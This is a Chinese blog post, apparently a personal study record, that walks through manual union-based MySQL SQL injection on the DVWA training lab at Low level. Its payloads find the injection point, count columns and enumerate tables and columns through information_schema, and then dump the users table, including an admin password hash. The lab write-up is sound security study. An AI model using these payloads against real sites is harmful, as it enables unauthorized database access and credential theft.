zoukankan      html  css  js  c++  java
  • mysql 简单手工注入

    来源 dvwa 平台 级别为Low 中的SQL Injection 试题

    1. 判断注入点

    # 网址?id=1
    id=1
    id=1'			# 页面如果报错多了一个单引号,那么说明可能存在注入点
    ‘id=1 and 1=1’页面正常,‘id=1 and 1=2’时页面不正常,则这个页面边可能存在注入
    id=1' #   # '#' 号注释,注释闭合的单引号,可以试试
    
    

    当前题目使用 id=1' # # 后面注释,截断

    2.判断列的个数 order by

    id=1' oreder by 2 #
    id=1' oreder by 3 #
    
    # 测试 判断列数3 报错,有2列 
    

    3.判断回显位 union

    # 输入一个不存在的id
    ?id=-1'  union select 100,200 #
    # select 后面 个数和列数对应,看网页中显示位置上的数,表示那个位置为回显位
    
    # 回显位为 ----> 200 位置
    

    4. 替换回显位,注入

    使用内部变量,或者语句

    # database() 数据库名 
    # -1' union select 100,database() #
    
    # 库名为 ----->dvwa
    

    库名,版本等信息

    version()、@@datadir、@@basedir

    5.根据information_schema 库

    information_schema 数据库中记录所有信息

    information_schema.tables 表中记录所有数据库名 table_schema,table_name 重要字段

    information_schema.columns 表中记录所有列名 table_schema,table_name,column_name 重要字段

    group_concat(字段名) 函数,可以让字段显示在同一行

    注入出表名

    information_schema.tables 根据这个表

    # -1' union select 100,group_concat(table_name) from information_schema.tables where table_schema=database()  #
    
    或者 后面的 database() 直接换成上一步注入出来的库名
    -1' union select 100,group_concat(table_name) from information_schema.tables where table_schema=database() #
    
    # 注入出两个表--->guestbook,users
    
    注入出列名

    information_schema.columns 根据这个表

    # -1' union select 100,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
    
    # 表中所有列 user_id,first_name,last_name,user,password,avatar,last_login,failed_login
    

    6.注入出user表数据

    -1' union select 100, group_concat(user_id , user , password,) from dvwa.users #
    # 查询所有
    -1' union select 100, user  from dvwa.users limit 0,1 #
    # 查询users表中的user 字段第一个------》 admin
    -1' union select 100, password  from dvwa.users limit 0,1 #
    # 查询密码第一个 -----》 5f4dcc3b5aa765d61d8327deb882cf99
    

    大概过程,自己记录一下。

  • 相关阅读:
    1379. Find a Corresponding Node of a Binary Tree in a Clone of That Tree
    1389. Create Target Array in the Given Order
    1385. Find the Distance Value Between Two Arrays
    1382. Balance a Binary Search Tree
    PHP的 __DIR__ 作用【转】
    PHP:Allowed memory size of 134217728 bytes exhausted问题解决方法【转】
    PHP: POST Content-Length of xxx bytes exceeds the limit of 8388608 bytes【转】
    PhpStorm 如何快速查找文件【转】
    .gitkeep的作用【转】
    php copy 函数使用 【转】
  • 原文地址:https://www.cnblogs.com/aaak/p/14078530.html
Copyright © 2011-2022 走看看